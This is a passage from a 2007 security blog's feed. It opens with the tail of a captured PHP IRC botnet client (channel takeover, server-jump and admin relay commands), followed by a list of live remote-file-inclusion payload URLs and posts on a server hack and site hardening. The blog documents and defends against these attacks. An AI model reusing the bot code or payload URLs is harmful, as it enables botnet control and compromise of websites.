                                                         $msg = str_replace(":`kb $com[4]","",$msg);

                                                         fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);

                                                         fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);

                                                 }

                                                 elseif ($com[3]==':`ganti') {

                                                         $nick = $nicky[rand(0,count($nicky) - 1)];

                                                         fputs($fp, 'NICK '.$nick . CRL);

                                                         if (substr($dCommand,0,3)=='433') {

                                                                 $nick = $nicky[rand(0,count($nicky) - 1)];

                                                                 fputs($fp, 'NICK '.$nick . CRL);

                                                         }

                                                 }

                                                 elseif ($com[3]==':`op' &amp;&amp; $chan) {

                                                         if ($com[4]) { $opnick = $com[4]; }

                                                         else { $opnick = $dNick; }

                                                         fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);

                                                 }

                                                 elseif ($com[3]==':`deop' &amp;&amp; $chan) {

                                                         if ($com[4]) { $opnick = $com[4]; }

                                                         else { $opnick = $dNick; }

                                                         fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);

                                                 }

                                                 elseif ($com[3]==':`v' &amp;&amp; $chan) {

                                                         if ($com[4]) { $vonick = $com[4]; }

                                                         else { $vonick = $dNick; }

                                                         fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);

                                                 }

                                                 elseif ($com[3]==':`dv' &amp;&amp; $chan) {

                                                         if ($com[4]) { $vonick = $com[4]; }

                                                         else { $vonick = $dNick; }

                                                         fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);

                                                 }

                                                 elseif ($com[3]==':`awaymsg' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         $msg = strstr($data,":`awaymsg");

                                                         $msg = str_replace(":`awaymsg","",$msg);

                                                         if (strlen($msg)&lt;3) {

                                                           $raway="on";

                                                           fputs($fp,'AWAY : ' . 'AWAY' . CRL);

                                                         } else {

                                                           $raway="off";

                                                           fputs($fp,'AWAY : ' . $msg . CRL);

                                                         }

                                                 }

                                                 elseif ($com[3]==':`mode' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);

                                                 }

                                                 elseif ($com[3]==':`nickmode' &amp;&amp; $com[4]) {

                                                         $nickmode = $com[4];

                                                         fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);

                                                 }

                                                 elseif ($com[3]==':`chanlist') {

                                                         fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);

                                                 }

                                                 elseif ($com[3]==':`userlist') {

                                                         $userlist="";

                                                         foreach ($auth as $user) {

                                                           if ($user["pass"]) { $pass="-pass ok"; }

                                                           else { $pass="-no pass"; }

                                                           $userlist .= $user["name"].'('.$user["status"].$pass.') ';

                                                         }

                                                         fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);

                                                 }

                                                 elseif ($com[3]==':`quit' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         $msg = strstr($data,":`quit");

                                                         $msg = str_replace(":`quit","",$msg);

                                                         if (strlen($msg)&gt;3) {

                                                           $msg = str_replace(" ","<span style="text-decoration: underline;">",$msg);

                                                         }

                                                         $quit1 = array("ngantor","nguantuk","sama","brb","bye</span>all","s33_you","excess_flood","pingtimeout","hehe","bye","mandi","makan","muuah","quit","conection_reset_bay_peer","banned","part","leaving","ada_deh","call_me","wew","toronto.hub.dal.net_brodway.dal.net","no_komen","restart");

                                                         $quitmsg = $quit1[rand(0,count($quit1) - 1)];

                                                         fputs($fp, 'QUIT ' . $quitmsg . CRL);

                                                         $keluar = 1;

                                                         exit;

                                                 }

                                                 elseif ($com[3]==':`vhost' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         if ($com[4]) { $localhost = $com[4]; }

                                                         else { $localhost = 'localhost'; }

                                                         $keluar = 0;

                                                         fputs($fp, 'QUIT ' . CRL);

                                                 }

                                                 elseif ($com[3]==':`jump' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         if (!eregi(".dal.net",$com[4])) {

                                                           $remotehost = "irc.dal.net";

                                                         } else { $remotehost = $com[4]; }

                                                         $keluar = 0;

                                                         fputs($fp, 'QUIT changging_server' . CRL);

                                                 }

                                                 elseif ($com[3]==':`ident' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         if (!$com[4]) {

                                                           $username = $username;

                                                         } else { $username = $com[4]; }

                                                         $keluar = 0;

                                                         fputs($fp, 'QUIT ganti_ident' . CRL);

                                                 }

                                                 elseif ($com[3]==':`fullname' &amp;&amp; $auth["$dNick"]["status"]=="Admin") {

                                                         if (!$com[4]) {

                                                           $realname = "--";

                                                         } else { $realname = $com[4]; }

                                                         $keluar = 0;

                                                         fputs($fp, 'QUIT ganti_fullname' . CRL);

                                                 }

                                                 elseif ($com[3]==':`topic' &amp;&amp; $com[4] &amp;&amp; $chan) {

                                                         $msg = strstr($data,":`topic");

                                                         $msg = str_replace(":`topic ","",$msg);

                                                         fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);

                                                 }

                                                 elseif ($com[3]==':!help' &amp;&amp; !$chan) {

                                                         fputs($fp,'PRIVMSG '.$dNick.' :Secret Help' . CRL);

                                                 }

                                         } else { fputs($fp,'NOTICE '.$dNick.' <img src='http://www.jerry-bell.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> lease Auth First! Type: auth &lt;your pass&gt; To Authorized '. CRL); }

                                 }

                                 }

                                 elseif (!$auth["$dNick"] &amp;&amp; !eregi("auth",$iText)) {

                                         if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join <strong>",$iText)) {

                                                 if (!ereg("</strong>",$dCommand)) {

                                                         if ($log=="on") {

                                                                 fputs($fp,'PRIVMSG '. $Admin .' :<span style="text-decoration: underline;">4inviter: ' . $dFrom . '</span>2:' .$iText. CRL);

                                                         }

                                                         $inv = strstr($dFrom,'@');

                                                         foreach ($auth as $user) {

                                                                 if ($user["status"]=="user") {

                                                                         fputs($fp, 'NOTICE '.$user["name"].' :<span style="text-decoration: underline;">KB '.$chan.' '.$dNick.' '.$inv.'</span>' . CRL);

                                                                 }

                                                         }

                                                 }

                                         }

                                         elseif (!ereg("#",$dCommand)) {

                                                 if ($log=="on") {

                                                         fputs($fp,'PRIVMSG '.$Admin.' :<span style="text-decoration: underline;">6' . $dFrom . '</span>12:' .$iText. CRL);

                                                 }

                                         }

                                 }

                                 }

                         }

                         elseif (substr($data,0,4) == 'PING') {

                                 fputs($fp,'PONG ' . substr($data,5) . CRL);

                                         $smile = $querym[rand(0,count($querym) - 1)];

                                         $kata1 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];

                                         $kata2 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];

                                         fputs($fp,'PRIVMSG #whatz :' . $kata1 . ' ' . $kata2 . $smile . CRL);

                         }

                 }

         }

         fclose ($fp);</pre>
<p>} while ($keluar==0);</p>
<p>}</p>
<p>working($nick);</p>
<p>?&gt;</p>
<p>Yes, that&#8217;s right Nancy, it&#8217;s an IRC bot coded in PHP!  Quite nice.  It appears to give a conduit to a bot master, probably used to upload and execute new scripts.  Fortunately, most sites aren&#8217;t vulnerable to this relatively old attack.  It is interesting, though, that the attacks are clearly aimed at certain types of software that are apparently perceived as vulnerable by the miscreant that is spreading this gunk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/crazy-php-code-injections/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Have CAPTCHAs been broken?  Sort of&#8230;</title>
		<link>http://www.jerry-bell.com/have-captchas-been-broken-sort-of/</link>
		<comments>http://www.jerry-bell.com/have-captchas-been-broken-sort-of/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 16:50:00 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/21/have-captchas-been-broken-sort-of/</guid>
		<description><![CDATA[I just read this article about the Hannah Montana ticket debacle, and how it points to an apparent weakness is CAPTCHA.  Unfortunately, for CAPTCHA, the problem wasn&#8217;t some slick new algorithm designed by a miscreant that can reliably decipher the images, but rather establishing a network that grabs the CAPTCHA from one site, shoots it [...]]]></description>
			<content:encoded><![CDATA[<p>I just read <a target="_blank" href="http://www.codinghorror.com/blog/archives/001001.html">this article </a>about the Hannah Montana ticket debacle, and how it points to an apparent weakness is CAPTCHA.  Unfortunately, for CAPTCHA, the problem wasn&#8217;t some slick new algorithm designed by a miscreant that can reliably decipher the images, but rather establishing a network that grabs the CAPTCHA from one site, shoots it to a porn or warez we site that presents the same CAPTCHA to someone looking to score some boobies, who must answer the CAPTCHA before getting their prize.</p>
<p>It&#8217;s really quite clever, and I anticipate that the CAPTCHA breaking network will continue to mature, as we have seen with other malware.  Someone&#8217;s going to make a business case for hosting a service that has an input API that accepts an image, and returns the CAPTCHA text, and a similar API that presents the CAPTCHA much like an online ad, and accepts the CAPTCHA text as an input.  Sites that use the CAPTCHA and returned a &#8220;solution&#8221; are compensated in the same model as a click through for an online ad &#8211; think of it as adsense for bad people.  Except, it would be perfectly acceptable for the site owner to sit there all night and answer CAPTCHAs on his or her site, raking in the money.</p>
<p>On the other side, those looking to break the CAPTCHA would have to pay a small fee for a certain number of CAPTCHA credits.  The money would flow to the site owners, with the service owner keeping a service charge, of course.</p>
<p> Honestly, that could spell the end for the widespread use of CAPTCHAs.  The only way to stop this is to make the CAPTCHA too difficult to read for a human, and that defeats the whole purpose.</p>
<p>So, in effect, CAPTCHA was broken without really breaking it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/have-captchas-been-broken-sort-of/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Are domain parking companies complicit in typo-squatting?</title>
		<link>http://www.jerry-bell.com/are-domain-parking-companies-complicit-in-typo-squatting/</link>
		<comments>http://www.jerry-bell.com/are-domain-parking-companies-complicit-in-typo-squatting/#comments</comments>
		<pubDate>Wed, 21 Nov 2007 03:35:49 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/20/are-domain-parking-companies-complicit-in-typo-squatting/</guid>
		<description><![CDATA[From this article  &#8220;The domain name parking companies are providing a service. Whether or not you agree with the domain name owner’s decision to buy a certain domain name, it is not the parking company’s responsibility to police the internet and protect a company’s brand. That remains the responsibility of the brand itself. The brand [...]]]></description>
			<content:encoded><![CDATA[<p>From <a target="_blank" href="http://www.billhartzer.com/pages/study-takes-aim-at-mistyped-domain-names-and-typosquatters/">this article </a></p>
<p>&#8220;The domain name parking companies are providing a service. Whether or not you agree with the domain name owner’s decision to buy a certain domain name, it is not the parking company’s responsibility to police the internet and protect a company’s brand. That remains the responsibility of the brand itself. The brand or trademark owner should go after the domain owner, and not publicly lynch the domain parking companies:&#8221;</p>
<p>I would say that&#8217;s debatable.  Think about some &#8220;real world&#8221; parrellels:<br />
Bootleg merchandise.  The retailer did not manfacture fake Nike shoes, he is just selling them.  It&#8217;s not his responsibility to police the goods that move through his store &#8211; that&#8217;s the responsibility of the real manufacturer.</p>
<p>Pirated music.  Napster, grokster, bearshare, guntella, and on and on, all claimed that they just provided a service, and there were legitimate, legal uses for the service, and that it was not their responsibility to police was was going through. </p>
<p>Picture duplication.  Photo development companies claim that it&#8217;s not their responsibility to police what pictures they reproduce.  The copyright holder must do something to prevent unauthorized duplication.</p>
<p>In all those cases, the organization felt strongly in their footing.  But they key is that each one lost in a big way.  Like it or not, if you&#8217;re aiding in something that&#8217;s illegal, you&#8217;re complicit.  The question is where do you draw the line.  Should ISP&#8217;s have been held responsible in the music sharing cases?  Probably not.  Should the manufacturer of photo paper be held responsible for copyright infringement?  Probably not.  It&#8217;s a grey line, to be sure, but it seems pretty obvious that the domain parking companies are well on one side of the line.  The only thing missing are lawsuits and legislation now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/are-domain-parking-companies-complicit-in-typo-squatting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP include attacks rolling on&#8230;</title>
		<link>http://www.jerry-bell.com/php-include-attacks-rolling-on/</link>
		<comments>http://www.jerry-bell.com/php-include-attacks-rolling-on/#comments</comments>
		<pubDate>Mon, 19 Nov 2007 16:20:48 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[search engine]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/19/php-include-attacks-rolling-on/</guid>
		<description><![CDATA[I&#8217;ve written about this a bit, and I&#8217;ve started a current attack list on networkstike.com, but the intensity seems to be increasing in these attempts.  I decide to google one of the URL&#8217;s that&#8217;s included, and right off the bat, I found this article from a web site that&#8217;s seeing the same thing.  I believe [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve written about this a bit, and I&#8217;ve started a <a target="_blank" href="http://www.networkstrike.com">current attack list</a> on networkstike.com, but the intensity seems to be increasing in these attempts.  I decide to google one of the URL&#8217;s that&#8217;s included, and right off the bat, I found <a target="_blank" href="http://todd.wallentine.com/blog/?p=174">this article </a>from a web site that&#8217;s seeing the same thing.  I believe these attacks are being launched from a botnet, trolling for vulnerable sites to use for some kind of illicit business.</p>
<p>What was really interesting to me in my google search for some of the inclusion URLs is the number of log files that are available and indexed via google.  For a long time, I have gotten many hits with the referral set to a spammy site - an obvious attempt to get some clicks and link mojo with <a target="_blank" href="http://www.google.com">Google</a>.   I never really thought a lot about it, but I can see that it&#8217;s probably a fairly effective thing, given the number of log files I found via google.</p>
<p>The current list of php inclusion hits for my sites is below:</p>
<p><a href="http://www.s1ko.jazztel.es/safe.gif">http://www.s1ko.jazztel.es/safe.gif</a>?<br />
<a href="http://gw-gold.net/dragoc/id.txt">http://gw-gold.net/dragoc/id.txt</a>?<br />
<a href="http://musicgirll.chat.ru/wav/mysong">http://musicgirll.chat.ru/wav/mysong</a>?<br />
<a href="http://www.mta.cl/galeria2/galery.txt">http://www.mta.cl/galeria2/galery.txt</a>?<br />
<a href="http://www.mta.cl/galeria2/galery.jpg">http://www.mta.cl/galeria2/galery.jpg</a>?<br />
<a href="http://www.madinaedu.gov.sa/safeon.txt">http://www.madinaedu.gov.sa/safeon.txt</a>??<br />
<a href="http://www.modelismo.alternativo.nom.br//poll/polldata/readme.txt">http://www.modelismo.alternativo.nom.br//poll/polldata/readme.txt</a>??<br />
<a href="http://shellbr.com.sapo.pt/safeon.txt">http://shellbr.com.sapo.pt/safeon.txt</a>??<br />
<a href="http://zamkad.ru/pub/buffer_upload/.../cmd.txt">http://zamkad.ru/pub/buffer_upload/&#8230;/cmd.txt</a>?<br />
<a href="http://www.volontaridelrotary2040.com/html/modules/xt_conteudo/NewFile.txt">http://www.volontaridelrotary2040.com/html/modules/xt_conteudo/NewFile.txt</a>?<br />
<a href="http://telkomsex.com/ec.txt">http://telkomsex.com/ec.txt</a>?<br />
<a href="http://193.109.188.20/0/templates/rhuk_solarflare_ii/css/contr.txt">http://193.109.188.20/0/templates/rhuk_solarflare_ii/css/contr.txt</a>??<br />
<a href="http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www">http://www.dip-kostroma.ru/bak_skompa/themes/runcms/menu/images/.asc/www</a>?????????????????????????????<br />
<a href="http://neu.sv-badbentheim.de/hide.txt">http://neu.sv-badbentheim.de/hide.txt</a>?<br />
<a href="http://www.smartlabphd.com/book/list/skin/zero_vote/images/setup_pages2.gif">http://www.smartlabphd.com/book/list/skin/zero_vote/images/setup_pages2.gif</a>???<br />
<a href="http://www.smartlabphd.com/book/list/skin/zero_vote/images/setup_pages.gif">http://www.smartlabphd.com/book/list/skin/zero_vote/images/setup_pages.gif</a>???<br />
<a href="http://www.urjb.com/photos/albums/userpics/10001/thumb_blank.gif">http://www.urjb.com/photos/albums/userpics/10001/thumb_blank.gif</a>??<br />
<a href="http://www.hgbruce.com/components/com_rsgallery/safeon.txt">http://www.hgbruce.com/components/com_rsgallery/safeon.txt</a>??<br />
<a href="http://tr-igus.com/safe.txt">http://tr-igus.com/safe.txt</a>?<br />
<a href="http://www.valerieataylor.com/gb/book2.gif">http://www.valerieataylor.com/gb/book2.gif</a>??<br />
<a href="http://servergazi.com/portal/images/stories/web.gif">http://servergazi.com/portal/images/stories/web.gif</a>??<br />
<a href="http://hackbsd.net/.xrt/safe.gif">http://hackbsd.net/.xrt/safe.gif</a>?<br />
<a href="http://www.freewebtown.com/w8ting/safe.txt">http://www.freewebtown.com/w8ting/safe.txt</a>??<br />
<a href="http://rumusic.chat.ru/rumusic.wav">http://rumusic.chat.ru/rumusic.wav</a>?<br />
<a href="http://ninaru.hut2.ru/images/cs.txt">http://ninaru.hut2.ru/images/cs.txt</a>?<br />
<a href="http://amygirl.land.ru/baby">http://amygirl.land.ru/baby</a>?<br />
<a href="http://www.martinschaab.de/php/id.txt">http://www.martinschaab.de/php/id.txt</a>?<br />
<a href="http://x0.741.com/pb.txt">http://x0.741.com/pb.txt</a>?<br />
<a href="http://location-investment.com/Connections/r8.txt">http://location-investment.com/Connections/r8.txt</a>?<br />
<a href="http://jjisdfiuw834wsdd.chat.ru/js">http://jjisdfiuw834wsdd.chat.ru/js</a>?</p>
<p>I&#8217;ve started downloading the files and looking at them.  Many of them are loosly copied off of one another, some are exactly the same.  Some are quite complex, all-in-one shells, that would allow complete server control.  Most of them appear to give some basic information, like directory, available disk space, effetive UID and GID, and the like.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/php-include-attacks-rolling-on/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My deer crash pictures are apparently pretty popular</title>
		<link>http://www.jerry-bell.com/my-deer-crash-pictures-are-apparently-pretty-popular/</link>
		<comments>http://www.jerry-bell.com/my-deer-crash-pictures-are-apparently-pretty-popular/#comments</comments>
		<pubDate>Sat, 10 Nov 2007 20:53:43 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[crashed car]]></category>
		<category><![CDATA[dead deer]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/10/my-deer-crash-pictures-are-apparently-pretty-popular/</guid>
		<description><![CDATA[This blog doesn&#8217;t get a lot of traffic, but I noticed that nearly all of it is to look at the pictures of my car accident.  Many of them are referrals from google for people searching for images of car and deer accidents.  That&#8217;s pretty morbid.  My picture is on the second page of nearly [...]]]></description>
			<content:encoded><![CDATA[<p>This blog doesn&#8217;t get a lot of traffic, but I noticed that nearly all of it is to look at the pictures of my <a target="_blank" href="http://www.jerry-bell.com/2007/06/22/got-deer/">car accident</a>.  Many of them are referrals from google for people searching for images of car and deer accidents.  That&#8217;s pretty morbid.  My picture is on the second page of nearly all the search results, which means that there are LOT of people searching for pictures of car crashes with deer.  It&#8217;s also apparently going around in an email.  To be honest, it&#8217;s not really that impressive, but since it seems to be what people want to see and I&#8217;m all about delivering, here you go:</p>
<p><img border="0" width="640" src="http://www.jerry-bell.com/media/deer-tl-crash-1.jpg" alt="Deer crash with my TL" height="426" /></p>
<p><img border="0" width="640" src="http://www.jerry-bell.com/media/deer-tl-crash-2.jpg" alt="Deer crash with my TL 2" height="426" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/my-deer-crash-pictures-are-apparently-pretty-popular/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Site Security Guide</title>
		<link>http://www.jerry-bell.com/22/</link>
		<comments>http://www.jerry-bell.com/22/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 21:40:28 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/11/09/22/</guid>
		<description><![CDATA[So, in the aftermath of my little incident, I decided to write an article for NetworkStrike on how to keep your website secure.  I&#8217;ve included it below:  Background The “cost of entry” to run a website is very low now, and we have seen an explosion of small sites on the Internet. Supporting this trend has been the [...]]]></description>
			<content:encoded><![CDATA[<h1><span style="font-size: 9.5pt">So, in the aftermath of my little incident, I decided to write an article for <a target="_blank" href="http://www.networkstrike.com">NetworkStrike </a>on how to keep your website secure.  I&#8217;ve included it below: </span></h1>
<h1><span style="font-size: 9.5pt"></span></h1>
<h1><span style="font-size: 9.5pt">Background</span></h1>
<hr />
<p style="margin: 0in 0in 0pt"><span style="font-size: 9.5pt">The “cost of entry” to run a website is very low now, and we have seen an explosion of small sites on the Internet. Supporting this trend has been the availability of free and open source applications that allow site owners to do nearly anything they want, from blogs to wikis to forums. </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 9.5pt">Unfortunately, nearly all of the software has inherent bugs that can be exploited by bad people. The exploitation of such bugs has matured in a similar fashion to the applications themselves.  Compromised web sites are a foundation to many threats currently on the Internet. Site owners are unknowingly supporting illegal activities such as:</span></p>
<ul>
<li><span style="font-size: 9.5pt">Hosting warez</span></li>
<li><span style="font-size: 9.5pt">Hosting copyrighted files</span></li>
<li><span style="font-size: 9.5pt">Hosting tools to compromise other sites</span></li>
<li><span style="font-size: 9.5pt">Sending massive amounts of spam</span></li>
<li><span style="font-size: 9.5pt">Host phishing sites to steal money </span></li>
<li><span style="font-size: 9.5pt">Become part of command and control for botnets</span></li>
</ul>
<p style="margin: 0in 0in 0pt"><span style="font-size: 9.5pt">Running a web site properly is truly becoming a social responsibility. If you are not part of the solution, you are likely part of the problem. </span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 9.5pt">This guide outlines some general and basic security measures that you MUST take if you want to make sure your site is not defaced or otherwise compromised.</span></p>
<h2><span style="font-size: 9.5pt">Key elements needed in a web hosting platform</span></h2>
<hr /><strong> <span style="font-size: 9.5pt">Use a host that uses suphp</span></strong></p>
<p style="margin-left: 40px"><span style="font-size: 9.5pt">Try as you might, if another site on the server you share does not follow prudent security measures, then your site it still vulnerable. Suphp executes php scripts as the user-id and group-id of the account – not the userid/group id of the web server.</span></p>
<p style="margin: 0in 0in 0pt 40px"><span style="font-size: 9.5pt">This will allow more restrictive permissions on your directories and will prevent an attacked from being able to read your php files.</span></p>
<p style="margin: 0in 0in 0pt 40px"><span style="font-size: 9.5pt">Some hosts will not want to use suphp, as it can cause performance problems.</span></p>
<p style="margin: 0in 0in 0pt"><strong><span style="font-size: 9.5pt">Build a relationship with provider on dealing with security issues</span></strong></p>
<p style="margin: 0in 0in 0pt"><strong><span style="font-size: 9.5pt">Firewall outbound connections</span></strong></p>
<p style="margin: 0in 0in 0pt 40px"> <span style="font-size: 9.5pt">This is not always practical or possible, but firewalling traffic originating from the server – other than what is expected – can prevent backdoor tools from phoning home.</span></p>
<p style="margin: 0in 0in 0pt"><strong><span style="font-size: 9.5pt">Run suhosin patch for php</span></strong></p>
<p style="margin: 0in 0in 0pt 40px"><span style="font-size: 9.5pt">Suhosin can stop the exploitation of many different types of coding weaknesses and some vulnerabilities in php itself.</span></p>
<p style="margin-top: 0in; margin-bottom: 0pt; margin-right: 0in"><strong><span style="font-size: 9.5pt">Keeping up with the web software you use</span></strong></p>
<hr />
<ul>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Subscribe to mailing list for any application software used as part of your site.  Nearly all such applications have an &#8220;announcement&#8221; list that is low traffic.</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Attempt to participate regularly in the forums or discussion lists for the software you use. You will often get advanced warning of security issues and interim fixes.  You will also know if the software is at risk of being abandoned and not updated.</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial"><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Upgrade after a security fix release within 3 days.  Vulnerabilities are often exploited soon after they are discovered.</span></span></span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial"><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">If an application you use becomes abandon, plan to migrate your site to a new tool as fast as possible.</span></span></span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Try not to customize software.  This will slow down your ability to patch or upgrade, because you&#8217;ll have to rewrite code, test, etc, and that can be difficult to do when it&#8217;s not on your timeline.</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial"><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Attempt to remove &#8216;powered by&#8217; and version number references.  <span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Nearly all open source web applications proudly, but this has turned out to be an extrodinarily efficient way to systematically identify sites running vulnerable software. <br />
</span></span></span></span></span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Create a file with a random name in your html directory. Do not reference the file in your site. Grep your web logs daily for the file being accessed. Any hits may indicate that your site has been compromised.<br />
</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Scan for file differences and notify of differences<br />
</span></span></li>
</ul>
<p><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial"><span style="font-size: 9.5pt"><strong>Your responsibilities as a site owner</strong></span></span></span></p>
<hr />
<ul>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Perform frequent off-site backups.  Even if you have a local backup strategy, such as to another server, it is imperative to maintain an offsite backup.  While it doesn&#8217;t happen often, datacenters are broken into and servers are phyically stolen.</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Do not store sensitive data like credit card numbers.  Just don&#8217;t do it.</span></span></li>
<li><span style="font-size: 9.5pt"><span style="font-size: 9.5pt; font-family: Arial">Change account passwords regularly</span></span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.jerry-bell.com/22/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacked!</title>
		<link>http://www.jerry-bell.com/hacked/</link>
		<comments>http://www.jerry-bell.com/hacked/#comments</comments>
		<pubDate>Wed, 31 Oct 2007 16:09:27 +0000</pubDate>
		<dc:creator>jerry</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.jerry-bell.com/2007/10/31/hacked/</guid>
		<description><![CDATA[I don&#8217;t think a lot of people who run sites like to admit this, but I was just hacked.  It was extrodinarily interesting&#8230; I had the advantage of watching it happen.   I have a server at a colo running Freebsd and cpanel.  I host a hand full of sites, and keep telling myself &#8220;someday, I&#8217;m going [...]]]></description>
			<content:encoded><![CDATA[<p>I don&#8217;t think a lot of people who run sites like to admit this, but I was just hacked.  It was extrodinarily interesting&#8230; I had the advantage of watching it happen. </p>
<p> I have a server at a colo running Freebsd and cpanel.  I host a hand full of sites, and keep telling myself &#8220;someday, I&#8217;m going to get serious about it&#8221;, but life keeps getting in the way.  I personally run a bunch of sites on that server, including this one. </p>
<p>So anyhow, after I wake up, I grab my laptop from the side of my bed and check email, weather and the usual stuff.  As noted in a previous post here, I&#8217;ve been trying to increase the number of visitors to one of my sites &#8211; syslog.org, so I had a tail -f running on the apache log file.  Nothing out of the ordinary at first.  Then, if I had hair, it would have been standing up &#8211; I saw requests to part of the site that clearly had filesystem path&#8217;s in them.  Paths for other accounts on my server.</p>
<p>So, sure enough, when I looked more closely, the requests were going to a file called &#8220;public_html/forum/avatars/.php&#8221;.  The site is running the <a target="_blank" href="http://www.simplemachines.org">Simplemachines </a>forum software.  I copied one of the requested urls into my browser, and BAM! a really nice control panel for my server, the main part of which is a filesystem browser.  Yikes! </p>
<p>I first moved the .php file to a directory outside of the web path then I logged into WHM and suspended all of the accounts and then started looking through logs to see what had been done.  It was clear that the attacker was going through the public_html directories for all of the sites and replacing files with &#8220;Hacked by XXX&#8221;.   But only a few files.  I was able to find each file that had been replaced by referencing the logs.  A check of date/time stamps and a comparison against a backup verified that. </p>
<p>I went back to the avatars directory on the syslog.org site, and found a file called erne.txt.  When I open it up, it&#8217;s a file used to bypass PHP safe mode.</p>
<p>I want back, changed passwords, replaced files from backup, and whatnot.  I did find a suspicious user account &#8220;courier&#8221; in /etc/password.  What made it suspicious is was at the bottom of the file.  I deleted the account and searched for any files owned by that account.  I logged into my dev server and found that the same account existed in the same place, so that was a false alarm.  Thankfully.</p>
<p>So, I went back to the monthly web logs and decided to see how long .php has been on the system.  I found that it was first accessed on Oct 20.  I grepped  through the log for the IP that first accessed and saw that it had come to my site via a google search for &#8220;powered by SMF&#8221;.  Then I remembered (!) that on Oct 20th, I had been looking at my logs as well, and saw that very request, which prompted me to make sure I was up to date with SMF.  Of course I wasn&#8217;t &#8211; I was runnig 1.1.2 and 1.1.4 has recently been released.  So, I did the upgrade and didn&#8217;t look back.</p>
